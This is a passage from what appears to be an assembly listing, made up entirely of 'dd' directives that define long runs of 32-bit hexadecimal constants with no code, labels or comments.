4F932B0Dh, 20009859h, 37D3F38Ch dd 88120073h, 0ADC90581h, 0A0C091B0h, 67048C11h, 4050600Fh dd 0B8659072h, 9B85F214h, 7F0E0058h, 0AAADE884h, 56175A9Dh dd 8010B2C0h, 11A203D8h, 5BB80372h, 7FFD1916h, 0FE20BCF0h dd 60B44D2Dh, 7F9DAFF4h, 3E41C080h, 0A5EF34DAh, 18F17600h dd 0BD04B65Eh, 48814C8Bh, 1B2E9322h, 0EC600834h, 0BE06C28Ah dd 321344A4h, 0CD1D1005h, 10201898h, 6C8A4C8Ch, 18AF2525h dd 9AAF6B60h, 7AE0C68Eh, 6E1F2900h, 0C0C4D599h, 0C2BD091Dh dd 0CC02BA5Fh, 32260C9h, 6089291Eh, 2810D833h, 990763B9h dd 51194635h, 0C59A73F7h, 3C6925h, 9B15B347h, 3A53E4F4h dd 8100EB55h, 0D2AD188Ch, 0AE480B03h, 27D3C0ACh, 0EC44FD7h dd 4E5AB36Bh, 0DC67B880h, 69590C12h, 23F1087Ch, 0A981801Ch dd 559ACA06h, 0DA352E09h, 0C0C44Dh, 0B1AA8F1Ah, 33E0569Bh dd 7A9A6907h, 3930C1F8h, 0C3A9F9h, 8EBDBB8Dh, 90AA9DC7h dd 10970725h, 6F5574h, 7AB074CFh, 0EE600F06h, 0F5D29D12h dd 1757AE1Dh, 0E282498h, 0E67570FCh, 0D2D0D427h, 745692B5h dd 96A2990Eh, 0BE06837h, 7E0F17h, 9B61D23Dh, 76A865Ch dd 96FF4C00h, 6F8281B6h, 63FB2671h, 4F1091C0h, 609088h dd 4BBFB31h, 5ED41DE7h, 13C54D00h, 0A5D83EA6h, 0F5FF28E1h dd 80D891A0h, 0E2E60405h, 85051920h, 1196F6F8h, 0F91EFC32h dd 9D213B0h, 186880F0h, 0B50D0CCBh, 0F602A8D3h, 22867820h dd 1EB324Eh, 0C2149608h, 97209B08h, 1817D3E8h, 30312F2Ah dd 31B58D12h, 842C8194h, 0E46C0DC3h, 7D9FCC02h, 0E4805E42h dd 0DA75BCh, 0A377EDF3h, 5F640454h, 0D1C92900h, 25AEE0AFh dd 0D0951432h, 94706CCFh, 411B7008h, 7B14B0B4h, 13102F10h dd 0A4A28498h, 267416C7h, 0F144389Fh, 530D3EE2h, 0F907AF3Ah dd 0E0AB90ADh, 0C30B9E8Fh, 11129805h, 88EC9D15h, 5F602B82h dd 1140B056h, 0C2A998h, 0F412137Ch, 0DAD8A320h, 0DCB32801h dd 3AE8DF65h, 8E0B0023h, 0B17E95E3h, 0A46E7E00h, 3ED9D29h dd 4FEF2B1Bh, 74F8F9EBh, 0E04C8C12h, 0CDC8C0F8h, 0BE9D2Ch dd 2913B388h, 0FD8441BCh, 0D25CF0Ch, 0F6E7E88Bh, 0D59C2844h dd 0DADD0DCCh, 2E7898DEh, 0D1154C30h, 0D0B40114h, 25898352h dd 413EF343h, 0F2316035h, 1E5AB7BCh, 0C065A2CEh, 4B8C511h dd 56F6BD6Ch, 8514C148h, 44AC9986h, 0EE801189h, 0E8428C1Eh dd 0C83A3527h, 5C9A854h, 484EE044h, 8008ECA5h, 766845E2h dd 0F5375B0h, 0B2AE8844h, 0AD680356h, 2901EA29h, 27DEF6A7h dd 3ACC548Fh, 0B9B704Bh, 11B9257Eh, 0A25EC004h, 372B1E88h dd 0CC40E89Fh, 9FBA5AEBh, 0C581718h, 0D33830BDh, 0C906340h dd 8F038705h, 50A1FAB0h, 300050C2h, 0B1819117h, 9D0045C9h dd 4FB85503h, 5F9B1139h, 0D0C8209Ch, 0BD658A7Ah, 14CB1538h dd 93487D01h, 8036CB97h, 1AFF8E81h, 488B727Ch, 884AF022h dd 0CE1C942Ch, 0F800A16Ch, 0F0314524h, 0CBB0017Dh, 0E4E86621h dd 875C70B2h, 30C89F4Ah, 9942864Bh, 0E5B4205Eh, 0E03B54Fh dd 1B4113BCh, 96C3812Ch, 0CD803438h, 40E23FE6h, 3E1D75F6h dd 1700DE1Ah, 5E53FA28h, 42E509C5h, 0C4599F50h, 47487380h dd 2AB92Ch, 0F6347BEDh, 676D189Eh, 9516E890h, 2008E880h dd 41B8809Ch, 5657AC20h, 0C3F8ED00h, 1AABA8E7h, 0F9300779h dd 0CBFE9651h, 998DE100h, 199512BCh, 140C198Ch, 61294A84h dd 7C201D0h, 0C83181B7h, 846466B9h, 44B526F3h, 151A86ACh dd 9700392Ah, 0CD2F3607h, 4FAC25h, 4EA3E7B7h, 5FA8EC17h dd 0B8CF3E00h, 67E894F6h, 80254C73h, 7C8C2380h, 8E01502Dh dd 0C31289CBh, 0FED29A02h, 0BA004B08h, 84118DDAh, 349454E2h dd 80F53747h, 627FD420h, 42A201EDh, 291E503Ah, 0C224CCBAh dd 4B8C1A4Ch, 25991470h, 198BE94Dh, 0E4CEC198h, 0CEE86500h dd 6D88C2AFh, 2F7D2CA3h, 70E20200h, 0C4C211DEh, 0D6C01C5Ch dd 0FDDA97h, 0DF036F52h, 6EE4DB26h, 76BFAE00h, 0F2AD8F5Bh dd 9CF49C23h, 1E848059h, 0C6C3CF37h, 0E0E1A000h, 57672AB8h dd 5B087EBAh, 1664E82Eh, 747059F8h, 94D98303h, 2CC42524h dd 6400DF76h, 4143D1EDh, 0A0AE7F75h, 54EFF5DFh, 1A6FE463h dd 0C1CE17DEh, 8E96861h, 9894BD42h, 7E068907h, 0D1C3D9E0h dd 2ABEA8A3h, 0DBDD0EF0h, 0B8FC023h, 8B371CF2h, 0DC739D49h dd 0BC132413h, 1F006CECh, 690675A3h, 5F003F64h, 0CFC558D1h dd 50DF169Fh, 84229003h, 392D0F0Fh, 0BEB903FFh, 5403D840h dd 0AB102D47h, 6B0F5C64h, 941734h, 0A1D19E2h, 0AA8126B7h dd 93B200C9h, 0EAA21210h, 7BB3BB01h, 0DC0585F8h, 0AF80F422h dd 4286DCEh, 1DF27201h, 949D23EBh, 0D280B842h, 0B51C0FCCh dd 4501792Ah, 0C1AEB685h, 332BD124h, 15B700D0h, 4871B5D6h dd 743A0349h, 0C822CF46h, 0A8C15BA2h, 6CFC1532h, 0FDC43D80h dd 23009FD4h, 0E59040Ch, 4D60D6Bh, 807494CFh, 0F62F4FCBh dd 588AEF0h, 0BE5E15E8h, 8738C114h, 0B347392h, 289D630h dd 0E6E8F454h, 0B4B900CCh, 9AF0B59Fh, 32009E9Bh, 8D3FDD8Ch dd 63D458h, 0EE7DB6Bh, 0D0070C71h, 96EA3E3Bh, 0A4A3F890h dd 68236F00h, 5494E9A6h, 0CF082400h, 67E5B739h, 8F8404C6h dd 0A2291BC2h, 94285FB0h, 0B4FE1C60h, 0A995C010h, 0B89CCBA1h dd 90248B2Fh, 19290D68h, 0E0875512h, 5C86089Ah, 8C0A4F1h dd 0A1ADF44Dh, 6C9B9301h, 0BAF201CDh, 32FD331h, 0BBE32184h dd 6864D0C2h, 3280F099h, 0A9E8F30Ah, 1C4012E4h, 48D722h dd 0CF9F89D3h, 51AD7603h, 0A033B2F6h, 0BF988ED0h, 49840CA4h dd 6EDC4824h, 0CD7B24CAh, 609C0039h, 0DC669DB7h, 0E8CC124Bh dd 1220908Bh, 0C81106E7h, 530A0140h, 504D1BE8h, 719C8609h dd 880192E4h, 50098970h, 0E1FB381Bh, 0B47C1118h, 0ADAC0193h dd 0D6078457h, 8C019C6Ch, 0A3F48518h, 0C064BB35h, 97E14416h dd 0C00C8B5Ch, 0ACCA28C9h, 9EC00054h, 16B120C1h, 2257F83Fh dd 5BA610D4h, 122511h, 6FB4DFC6h, 10FD44h, 0B6983266h dd 0C06B0C5Fh, 0A0A1390Fh, 0DE7C03Eh, 632681h, 0C6BF0212h dd 41BAC4AEh, 0F86E1C13h, 85FB5C04h, 0F86708Ch, 0EAFCF2A9h dd 81E7BC62h, 480CAC42h, 9B4434D0h, 0ADF000ACh, 0ED48C193h dd 0E7249F75h, 0C640FC36h, 4FBF122Dh, 68BF804Ah, 231EC287h dd 0AD93CAFEh, 25BC08D8h, 3410F54Fh, 2D0096A5h, 219A0C64h dd 16903Dh, 970EE093h dd 0A01D82BCh, 9D8FAA16h, 48EC8CC8h, 881E5A86h, 0D143409Ah dd 907BA29Bh, 8E6C5E0Fh, 92B5A376h, 0A0D03F77h, 9A84825Ah dd 94CFB82Ch, 0F7A082FCh, 0F8C0AD57h, 0F309A38Bh, 79A6E8BBh dd 5C1A0028h, 4ED5DB2Ch, 0A14F9D03h, 0E9904363h, 84C0B15Eh dd 50049E92h, 7C00FFEAh, 480F3EBDh, 0F7D2716h, 0A9B42DB2h dd 9DC80BB6h, 800FF8D3h, 85F180FDh, 0C290CAh, 0F2B87437h dd 466E651Bh, 0CB62279h, 0E78BE802h, 57C8E4D2h, 77004084h dd 0B9520BE2h, 960353DCh, 4B0F5ED5h, 0AC17F597h, 4CB8E098h dd 0DE80C029h, 10D3462h, 70774300h, 0ECABFFD0h, 8C5D0478h dd 401C02C2h, 2B11BCE2h, 8B7C2Ch, 5B85ACFh, 2E9A8FF5h dd 75142250h, 0F64D8A00h, 6A4EA8AFh, 0F30927C5h, 2A825461h dd 0D638C420h, 0E57700A6h, 60BAD93Bh, 6EB8151Bh, 291C2D09h dd 20644EE7h, 345B8396h, 4B938040h, 1695A02h, 4D6BA197h dd 0E8015E26h, 367F54DEh, 0AEE7500Eh, 3EB7800Ch, 5080BBF8h dd 8A2CDDh, 0E1EE330Fh, 0F85AE009h, 4505A100h, 661DB127h dd 128517A5h, 0D88A1Fh, 9BBFEF14h, 0F4BB2266h, 0C72507F7h dd 0C7130CCEh, 0AECA3153h, 9BA2059h, 12BD0509h, 18389098h dd 3036008Ah, 0ADE842EEh, 349E3A2Ah, 18D4800Bh, 1F6A54B4h dd 0C1EFFFC3h, 0F7CF5F44h, 30EDFD95h, 0E4FDAD68h, 5A1EA689h dd 0FD09E994h, 1CA0C684h, 4C1A0EDEh, 9250C01Ch, 249F8727h dd 48CAE30h, 90330054h, 88640F2Ah, 6A7D7830h, 0C47B7D28h dd 1C04474Bh, 0CCA2BD9Dh, 90295400h, 52C785EFh, 1E629702h dd 74671107h, 601D4464h, 0BE9B8789h, 29574748h, 49928C24h dd 80889224h, 7A6B7E74h, 0EDA3001Dh, 607FC341h, 0AC0181B1h dd 0FAB9FF8Bh, 4EE0D4C5h, 10111439h, 182E3CBBh, 0E06C25C8h dd 41347701h, 0BE1594D3h, 0D1E405D9h, 9DBC2E1Dh, 0F1890EE6h dd 76DBC2C1h, 87743CACh, 5910D1B0h, 91B36F6h, 0ACF1B447h dd 914B9C82h, 4DC6B120h, 8BF000Ch, 0E85131BBh, 1F4AC2A3h dd 9215A821h, 12ABA010h, 12CC0C2Fh, 44E85E58h, 127C9C35h dd 14448441h, 0BFFCA4h, 48E1DAF0h, 73ABC5A2h, 4488964Ah dd 4BF8BBh, 0BFFB1C53h, 5F8626E3h, 0D7956105h, 20ECB09Ch dd 0B3E05280h, 0A4B0D2BDh, 16EA4F21h, 80A4E292h, 0E43B164Bh dd 957D1FF1h, 0B4251401h, 0FB320E80h, 0C30EA55Fh, 1DA31543h dd 0C770B9C0h, 16AA881h, 16764EA4h, 4823FA80h, 1201158Ch dd 45B96990h, 5C738414h, 23FB810Fh, 5A4400F1h, 74558077h dd 0F25E006Ah, 53B6E64Ah, 0EC3D935Dh, 91D982C8h, 798B3590h dd 17C60FACh, 9F99C8BDh, 8E7D0E89h, 84512030h, 0C8981B83h dd 0BB80C6E9h, 0A1A8B924h, 79EB010Ah, 4C2AF43h, 1A90E816h dd 7FAA380Bh, 0D8C4DEh, 22D00897h, 301D1EDh, 9A07E096h dd 0ABC507BCh, 0CB00C0B2h, 5330D915h, 0BF764614h, 0A07CD81Ch dd 0A5EB007Bh, 0AF0CC4D1h, 0E9F8ECEDh, 98BC206Fh, 0C0025397h dd 0CC6A921Bh, 0F164E2FAh, 4FF00004h, 48F26DE4h, 0A3EB3800h dd 0A6B66B1Bh, 9D0D7825h, 0A047FC90h, 0F2342402h, 64DF140Bh dd 97154E14h, 80C8F99Ch, 0B2075BE5h, 0FCB5F0E7h, 0C3342801h dd 0DE5E4980h, 0C1AF14FAh, 1E08EC3Dh, 0EF89FE51h, 0A47978h dd 6AC49B5Bh, 68B0BEA0h, 3C11F604h, 81EBAD76h, 30DE7319h dd 93421F90h, 51351402h, 500058CBh, 49074D7h, 0DE763811h dd 0BC549416h, 2663C04Ch, 0D539FDh, 0EFD05F4Fh, 7FAD20C5h dd 9CB81300h, 34308687h, 0B1849888h, 479EBCh, 26D2B084h dd 6700B96Dh, 3E070B6Eh, 0CAC78Dh, 0A6D789FAh, 879F09A0h dd 88883CE9h, 21086411h, 0EA5636h, 27673F1h, 0E1592D0Eh dd 0FCADEF0Dh, 5222FF89h, 48250074h, 826E56EFh, 550BD27Dh dd 51944642h, 0A3AC001Ch, 2AD837B7h, 2638F61Eh, 467B4500h dd 90A3F7Eh, 0FC1E536Fh, 38D1330Bh, 121A8900h, 4E126A1h dd 0DE8B5E4Eh, 2394A242h, 12C3049Ah, 0F8809466h, 1319C5B0h dd 0E1BB6D80h, 9A40004Ah, 7F0DF218h, 57171BC8h, 0DC8C8799h dd 70820046h, 0A36F1128h, 370435ABh, 0D4BBE46Eh, 900ACB2h dd 0C10471D3h, 2A000D3Eh, 6D5978FFh, 77D19591h, 7A030A7Fh dd 5850DEh, 52200797h, 1C1A761Dh, 59CC19F2h, 0A20A009Ch dd 0B12B4DAh, 0D9906704h, 47C0731Eh, 13171B22h, 899CD37h dd 0B2801628h, 858A7AA7h, 20E800BAh, 154D96E1h, 0C025E1Dh dd 881D1F1h, 144422h, 0F09690A5h, 788485F8h, 71F4D4Ch dd 1F3EA22Fh, 632521BFh, 0B423EECCh, 369412h, 2A522CA9h dd 51348C07h, 0BC00518Fh, 0C5E028ECh, 0E73E023Fh, 0B80817D3h dd 347AF4E2h, 77B4334Dh, 39E30734h, 0DC8000ACh, 0AB654D4Ch dd 41FC2600h, 0E9B260C1h, 116E1EC0h, 0E182003Fh, 96F4A467h dd 1B6280BCh, 5512112Fh, 0C43CB8CCh, 0AA80E19Fh, 0F142ADh dd 0C55EB56Ch, 9A7BED25h, 0C482F325h, 58420314h, 591CF295h dd 15DE66D8h, 0E8861E2Ch, 0CEF367E0h, 0D11A39A8h, 52790500h dd 0F0456F80h, 67A2C809h, 0A8B0B4Fh, 0B8584420h, 0BC6C0199h dd 1DF9473Bh, 0AB7AC06Ah, 6025DD05h, 0C217DFh, 0E05CD4BCh dd 774A817Ch, 3ABD900h, 45C5001h, 0B34F00F7h, 0B44153D8h dd 2978907Bh, 0FA547F38h, 0ED95EA07h, 3E40E9E6h, 0A7025Eh dd 4C6BF5A3h, 0A4F67F67h, 51B43701h, 0EA4E3D1Eh, 622BAF8h dd 4ABF3FB2h, 10F838F8h, 0B5511904h, 0FD8002AFh, 305EA803h dd 5821F14Ch, 0B3B0E0EBh, 0C17BBF00h, 0B3DE53D7h, 0C02E7FCAh dd 0E165B589h, 0D90001FEh, 6233AE9Dh, 60FB9230h, 0B20DC071h dd 51601C7Fh, 41964F31h, 0F4D379FCh, 0C2D118C6h, 0FFE570FAh dd 86B1CE6Fh, 0F83050CBh, 16C901AEh, 19BA4BF9h, 0F816FF9Bh dd 0D91DB45Eh, 1175DDC6h, 63F50761h, 0A0E8C9B3h, 7930B7D4h dd 8F329C8h, 340D5270h, 3EC09149h, 0AD9201C5h, 0A33DFC6Ch dd 0F915FCE8h, 41704961h, 0D400EA51h, 0E9006352h, 0C152143h dd 7CA2DC29h, 51F34C77h, 53A06062h, 90EB3002h, 0BB7D0h dd 11BDBBD8h, 5CFC1264h, 0D3403400h, 0DE742557h, 0CB8AB7Ah dd 0D8B472C0h, 6917DD80h, 5B11D1C8h, 3CC0E84h, 0C729C076h dd 3A5BD374h, 0F3013C25h, 434F4DA5h, 51488C9Bh, 0AA51B8h dd 0FFEBCA7Eh, 0AD532108h, 0FAC85828h, 90627705h, 84402334h dd 0F28A4298h, 0CAEF035Ah, 810BE3A7h, 51A86998h, 70799E30h dd 606C4E9Dh, 0C7CAB17Eh, 0D4A952D6h, 8F9C4B0h, 1500B47Ch dd 0E0FCD914h, 32E4D321h, 5DA8733Ch, 1967602h, 8A1C387Fh dd 98F9ED81h, 0C2899D80h, 0DC9C72h, 0C3EC8D23h, 0E2F62460h dd 7E649700h, 14D5A412h, 222090F5h, 322E9B7h, 4A3430C7h dd 6CFB959h, 271F7F00h, 84B820B4h, 2FE1056Ah, 46D875DEh dd 31CCC6D8h, 69523E06h, 22206CE1h, 0D8285468h, 25234E5h dd 0D38840D8h, 0F612F742h, 2CA40772h, 0AC7BD073h, 0F20048AEh dd 4B964CF5h, 0C0EBEAFFh, 0E2859149h, 0D101CCD4h, 0D3C81C36h dd 0CC5D75FCh, 1CC196F8h, 0C3C7EDh, 62A50172h, 0A91D15A1h dd 2424A438h, 693C9D0Eh, 0A1C0FD7h, 23118C52h, 0FCE5AE03h dd 1150E2EAh, 5B707E46h, 2F692201h, 0FD53831Fh, 4D9956C0h dd 4F08042Dh, 7F86F26Bh, 0A8915251h, 984430BCh, 12153C50h dd 4CFC4B8Fh, 0C198469h, 6A6908CFh, 0A94D8E7h, 3AAC141Ch dd 57613444h, 0D6293D59h, 0B34030h, 0AD7410E1h, 5BF591AFh dd 0A397DC00h, 55339E98h dd 0D4512AB3h, 5F0213F4h, 758EAC2Eh, 25D03C2Eh, 115CF814h dd 750E5446h, 26A1CAB8h, 0C05C44D4h, 0F57AD840h, 0EE8F24h dd 12F0523Fh, 0C8639CFEh, 2888B47Fh, 29CF60EDh, 0E6E74748h dd 22027BE0h, 207F5440h, 10E311F3h, 0FA033259h, 41761F1Ch dd 2DB24023h, 674A4EEh, 8050613Fh, 561A4F64h, 0FCA348CEh dd 0D9D21852h, 8B4CF058h, 409FD1CFh, 0E6839E2Fh, 76970F11h dd 0BA4BFAACh, 82887h, 0DA177C89h, 0DE5C3004h, 70913D7Bh dd 37102234h, 0A10042CBh, 9D315917h, 7A835Bh, 3DC4E83Bh dd 0FE3AF6B4h, 0FBE36404h, 0F208CE55h, 0AD7EEA40h, 0D9C101B4h dd 0D2C6FAB3h, 4BE98CFBh, 0F6E02985h, 251B0059h, 1821CE77h dd 76003363h, 2AC3EACBh, 3C7EBFCh, 0C11C03B9h, 6810E484h dd 0C09FF565h, 0DDDC39FEh, 512A0380h, 0ABFCF8CFh, 7D1FC205h dd 0F004BB18h, 4F02542Bh, 0FC908767h, 94B12338h, 0DC8BC040h dd 17521D3Fh, 0CD29C0BCh, 0DA4BD3FDh, 8EEE39C0h, 0A0FB5B98h dd 1F3F5744h, 0DBCC2E36h, 92E44966h, 5B20DEA8h, 0D03CE0B2h dd 0F2228489h, 8587A700h, 0B313BD81h, 0D3B41361h, 9D0800A9h dd 0E5C9EDCAh, 88DDAC26h, 0A82EA44h, 0D5E04BE2h, 80832808h dd 0E80866A3h, 0F403BAE3h, 39AE3370h, 7320B935h, 6C4FF188h dd 5F52D0B0h, 0D1502AE7h, 0D21F00A0h, 2CF42DDCh, 0CC03216Ah dd 0C679AECEh, 0E422E5D0h, 0BB74278Ch, 0F3832900h, 86E635B0h dd 0AA259100h, 8E4B7DFFh, 5ABF1A1Ah, 8C90B0E9h, 0E817F652h dd 6401403Bh, 0CC03DE57h, 4F34818Ch, 651E89A9h, 604008A0h dd 0D10F6A3h, 0EF8B01A2h, 4EC9B769h, 0C0AC324Dh, 0CF4C735Ch dd 0E418C597h, 906C00C7h, 6D1E05A6h, 0DBD4400h, 275B3FCAh dd 0AA190CD4h, 38795534h, 0F00A6D00h, 9E14774Fh, 0F6AD30ECh dd 4DBA3F68h, 3D295364h, 445084C8h, 0D3E0CA7Dh, 92E03B12h dd 81EA5808h, 0E6BF53C9h, 3226D17Eh, 0D4A68000h, 0C8C48Eh dd 0FC876929h, 61542760h, 0AD82A40Fh, 643777DCh, 60D8A4C8h dd 0ECB410E3h, 1386500h, 0CC1D36CFh, 0B21803B1h, 804BA192h dd 80C2893Bh, 0FA5D71E0h, 530A97h, 0D7CE629Ah, 9949D3F5h dd 3058C9E8h, 9EF40C14h, 5C51183Ah, 0C3323419h, 0A0644B71h dd 4D678A01h, 21349A80h, 3C3D7024h, 917CF20Dh, 8EE58634h dd 94892196h, 3C0222Eh, 52BC86E8h, 2693C8B3h, 9C2D0744h dd 60CCB689h, 69AD1203h, 1927C3Ch, 1FEC15D3h, 61D653DCh dd 3610C7F4h, 0AC00D626h, 0F1C3E8BEh, 5E0F37h, 61B73A2Ah dd 92D0FCBBh, 4AE0F561h, 38281ABAh, 0D80254C9h, 0D720FAC1h dd 0FDE568Fh, 3BC8F5F1h, 0B3E65301h, 0F01ED1E2h, 9C94D2FFh dd 3B0EEC40h, 2A8D32Fh, 16DC21B5h, 1C7EF8E0h, 5E694C64h dd 4E881880h, 0FCEC0B8Eh, 0E08221D3h, 0AC91DED6h, 63A310BAh dd 33FFAF1h, 61CC4657h, 0C7C8828Ch, 6B242122h, 0DD1120CFh dd 861C794Ch, 2CC08351h, 6D07F1Fh, 750621E4h, 0FCA61687h dd 5C54B059h, 0FEC564D2h, 4128C38Fh, 4844D3E2h, 8EE0465Ch dd 7BBE205Ch, 8B5FDBh, 4382B612h, 141BC9BCh, 197ECD12h dd 0B0849C24h, 9C002C8Dh, 9777C40h, 0AD9ACB5Ah, 9BB3CC03h dd 0D3AF2102h, 0E1463A14h, 4315DCF8h, 0BB0459A0h, 12866AB9h dd 0F7F49052h, 536707C6h, 100827E0h, 39C389E3h, 0B80C9DE4h dd 58D59EC9h, 9AD848C7h, 34C03C4Dh, 35FB632Ch, 0B5A6E900h dd 268EC0F0h, 4177418h, 2389281Ch, 0BE808046h, 0A1C4394Dh dd 5E40958Ch, 0D9EF993h, 4AD47604h, 4481F81Fh, 80043EBDh dd 30E125DCh, 0BCA9EB2Ah, 827C4B5Ch, 0C0126F91h, 213AB80h dd 0D2389845h, 0E4C09F10h, 0EA88FEDEh, 40EC4AA1h, 30847328h dd 3F032E72h, 0C757644Dh, 0DD61E09Dh, 0E5E90AF1h, 8090CB50h dd 0ECD5042Dh, 5201D185h, 0ABF3EE90h, 44E57AC0h, 26C168CCh dd 16C8A9E1h, 548280Dh, 0CBBFF900h, 62227367h, 38E4A0B2h dd 0FA5601BAh, 91ECFDB3h, 5DC8607Eh, 26767890h, 2868E801h dd 0C774C3E6h, 0C2B44CC8h, 50527F51h, 0F8E21044h, 0E44DE28Bh dd 6858BCh, 0F50FCF22h, 0CED8B473h, 78099F0Eh, 8C4C10ECh dd 0AEE075h, 9A856C8Eh, 5FFF9DAAh, 1A7F9805h, 480B09Bh dd 3A4FD475h, 0BB04689Ch, 0C08AEE08h, 0E7F3FDAAh, 0B48F4E06h dd 1E28F5C5h, 121EA6B1h, 86BE0BEFh, 15F23491h, 6CCCEC85h dd 293001CDh, 0CFC7C925h, 0E5998BCCh, 0C6D011FFh, 17317CF3h dd 59FDC56h, 4CE7652h, 8324C870h, 0E0E20930h, 0F4103C62h dd 8C772784h, 0C528B709h, 1C2C085Fh, 0C9F9BF00h, 284F9811h dd 10CE44Ah, 0B4ACBB36h, 2118F745h, 0FCB830CCh, 0B1D8C618h dd 0C595B89h, 88694D14h, 0B8B151D9h, 0B8B2B00h, 72F90ACh dd 0EEC05082h, 0ED83F093h, 0C412E435h, 68CCDDABh, 7F9B0F77h dd 0B9FAEB20h, 577D5040h, 8800B175h, 0DC522CCFh, 34DDD1BCh dd 6040A9AFh, 64D74380h, 0DC205900h, 0E98D07C7h, 56A90930h dd 0C2F1BE4h, 0E2D7D101h, 66B0609Bh, 0AFE09741h, 0B0E12CFCh dd 415760D8h, 8558824Bh, 0A8F91DFEh, 0DC400CEEh, 1828397Bh dd 0B8761720h, 0AC30FB19h, 515888A3h, 0B399C0C5h, 8B163482h dd 154D2C00h, 0F27843CFh, 5A19883h, 0BB72F765h, 0A45805C9h dd 0DEAC8CAAh, 0D969CE00h, 72200217h, 0CC3F47Ch, 242D0E5Eh dd 0A900D7A9h, 40A40C21h, 7724E68h, 6A01C4C2h, 0EB3491E8h dd 3FA850CEh, 0FB0039E6h, 0D2F5B761h, 5411E25h, 8F03F8D9h dd 837C9874h, 0E00008E0h, 9352AD24h, 33FC65h, 0D43746C1h dd 0BC01197Ah, 9803977Bh, 0EB6004B3h, 496900E1h, 4AA75E7Ah dd 0F3F22C21h, 730C6E02h, 0E41B7FBCh, 0B5461774h, 0E73808E1h dd 0EF15E580h, 0B2AFDAh, 0F13DF221h, 0C923CA61h, 84432D4Bh dd 88D31258h, 483854C6h, 0C9024183h, 44575CF5h, 0BF00C071h dd 59CE4E84h, 28581F9Fh, 0CDBB8068h, 0A4C8563Dh, 0E446CA13h dd 0A8141023h, 139D28C5h, 2351B2B0h, 0B0F7037Ch, 5C5A6E27h dd 0F16BF628h, 0D8DF5000h, 88CBBCB7h, 4EC1C04Bh, 24EA1CD4h dd 0A0084D4Bh, 8B54808Ch, 0B3167A82h, 0A6C55301h, 70C13733h dd 13501E4h, 8FC930B0h, 48CCC6F2h, 7F1CAEA4h, 466DD5Eh dd 0D0CAFC60h, 11D099BFh, 0E36200D3h, 37A40DC6h, 17B0075h dd 54CAB47Dh, 7634DE45h, 90C3419Ah, 73EA070Ch, 5A2EC92Ch dd 0BC908798h, 91324074h, 1D7C684Bh, 0F0CB2400h, 0C380C205h dd 1A1212ABh, 0CF40884Dh, 4CB8C9E0h, 53585C13h, 3D9F9088h dd 78813ED6h, 55A30AADh, 52EEE8FBh, 763FF004h, 0D0C23C5Bh dd 23D310D4h, 0D23CB490h, 486BA429h, 3050CA15h, 83F6D8A5h dd 6E1B0F1Eh, 31C3FA49h, 3280473Eh, 8509A14Ah, 8458CAC9h dd 0F0C8EAD8h, 0B15203BBh, 25D56B57h, 0C0C0EDE2h, 5A02A1F9h dd 7FCE5FE2h, 0DD8714Fh, 40E152B4h, 0A248D300h, 0B8EB6828h dd 9CA44h, 5D54518Ch, 227097D7h, 6F0F4400h, 59A6CC39h dd 5F2A1293h, 0C1D430CAh, 0A91D5CA1h, 404086D1h, 0E9AE383h dd 0F4E10542h, 0CB624E77h, 2879794Ch, 0D47D7800h, 6F54E7F4h dd 9F0D3C72h, 2C9BBBA0h, 0B7833891h, 114D3CE0h, 3DCB1028h dd 0BE9E784h, 0A0BC6B4Bh, 0FC5F4AAFh, 906928ACh, 276890A4h dd 98A02EDCh, 39E120A5h, 5AB4C124h, 4973981Fh, 156AE04Eh dd 80FF4CDEh, 0D410348Bh, 0B60084E7h, 0D2D0CBF1h, 4AD2642h dd 62761931h, 1804C790h, 0E11F80BFh, 0C4D1E384h, 889B38FDh dd 70A41819h, 28503DD3h dd 68226C54h, 183448BEh, 0DD5A7680h, 8C007565h, 0EF79823h dd 1BDC815h, 0B6A8AD68h, 6C6B54FAh, 0A44502A4h, 84D374DDh dd 1405524h, 4CCEAED0h, 16054100h, 19BA4AF9h, 3DB1C23Fh dd 0C445113h, 4A02FE00h, 1D413330h, 20840094h, 70F451C7h dd 0C47C9366h, 547F6A08h, 294F9E55h, 921597A0h, 30910F38h dd 0A87113C6h, 588B52h, 386997B6h, 196567Eh, 1185FC2Fh dd 0BC50F14Ch, 30DE959Dh, 0F571737Ah, 4388F9EBh, 0D4F200F0h dd 9B2F8279h, 6D0225F1h, 0CBDEE6C6h, 5611C05Dh, 404B4A9Ah dd 0F68B98DCh, 0CE0205E7h, 26D4B2AAh, 1694F004h, 88F442F5h dd 3C0B97ACh, 817A9C76h, 0D34EA4E8h, 0C0739460h, 0AEDE5ED9h dd 7BF07493h, 2F1CF216h, 0E02E58D7h, 414829E2h, 2AB40B79h dd 0C90D5C6h, 771D69AEh, 2284BF1Dh, 88E26B4Dh, 8130D040h dd 925E105Ah, 1BDD1D03h, 802F17C2h, 4F4E7A08h, 4C9B4620h dd 510C8CE1h, 0EE187BD2h, 57B0258Bh, 799EB499h, 0E0EB1880h dd 0A9AB91h, 6C658342h, 0ACFC03BBh, 1907301h, 0B8A8C4D4h dd 605C58E6h, 7EC2A0DCh, 505ADF19h, 0D5CEEC60h, 5C88091Dh dd 40A0A0E4h, 0E9073034h, 9C10675Eh, 26D32D90h, 2D9E6A14h dd 1CA169DEh, 40994415h, 0F45AF184h, 9A622890h, 1548FC8h dd 22FCDE46h, 0D0C61498h, 0C33C5864h, 0DF713FB5h, 85B801A0h dd 0DCA01F48h, 7E158653h, 3760C0D0h, 28D2FA51h, 4F4D1AD8h dd 0E4C28993h, 0D3066871h, 4520AD28h, 1683983h, 35C9490Eh dd 0F830D6DCh, 0A36402D8h, 1353D725h, 25973061h, 39A837F8h dd 0EA8A80CCh, 1264764h, 0FA4300E5h, 0AA9AAB7Eh, 0AF0BE61Bh dd 1050F4C9h, 5C9DDC30h, 9501F054h, 0BE9BB34Bh, 72407045h dd 0D4495092h, 54174CECh, 7F4466CCh, 0C9951h, 33822328h dd 1700F187h, 0ACB422BDh, 0A4EDA803h, 0EDE00A4h, 3C8D775Fh dd 0B40123F6h, 0C7140537h, 0DAF04C0Ch, 98174875h, 0A84C928h dd 734DB321h, 0D8921444h, 0ED89C732h, 0F200C87Ah, 0DD812EA1h dd 2ADBC1Ah, 88556784h, 364042EBh, 1048E5B2h, 648FC1F0h dd 8A403283h, 7E08F4h, 34E3CEFCh, 0FDB3D5FFh, 3D204205h dd 28D1B461h, 0D3CC53C9h, 992200BBh, 5EF61959h, 0D917045Ch dd 0B418B340h, 0E1226A9h, 0BF1BDC56h, 800CC392h, 98AE09FCh dd 0B48E58h, 0CB2B5F7Fh, 0FBA3B129h, 5EACDE00h, 0AFF9ADC1h dd 1FD000FCh, 0B46272FDh, 49883B8h, 91CBC625h, 31F978h 